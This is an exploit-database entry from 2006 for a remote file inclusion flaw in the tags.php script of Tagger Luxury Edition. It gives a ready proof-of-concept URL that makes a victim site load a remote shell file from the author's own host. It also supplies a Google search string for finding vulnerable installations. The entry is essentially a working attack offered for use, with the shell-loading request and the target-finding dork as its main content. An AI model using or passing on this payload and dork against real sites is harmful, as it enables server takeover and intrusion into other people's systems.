Tagger Luxury Edition - 'BBCodeFile' Remote File Inclusion
| EKU-ID: 10163 | CVE: OSVDB-28757;CVE-2006-4437;OSVDB-28756;OSVDB-28755 | OSVDB-ID: |
| Author: Morgan | Published: 2006-08-09 | Verified:
 |
| Download: | ||
Rating☆☆☆☆☆ |
| EKU-ID: 10163 | CVE: OSVDB-28757;CVE-2006-4437;OSVDB-28756;OSVDB-28755 | OSVDB-ID: |
| Author: Morgan | Published: 2006-08-09 | Verified:
|
| Download: | ||
Rating☆☆☆☆☆ |
Tagger v3 <= BBCodeFile Remote file inclusion Discovered by : Morgan Error in : tags.php include($BBCodeFile); Vendor Website: http://www.venturenine.com PoC: http://victim-site.com/tags.php?BBCodeFile=http://ehmorgan.net/shell.dat? Google dork: intitle:"Tagger LE" inurl:tags.php Visit us : www.ehmorgan.net irc.gigachat.net #Morgan # milw0rm.com [2006-08-09]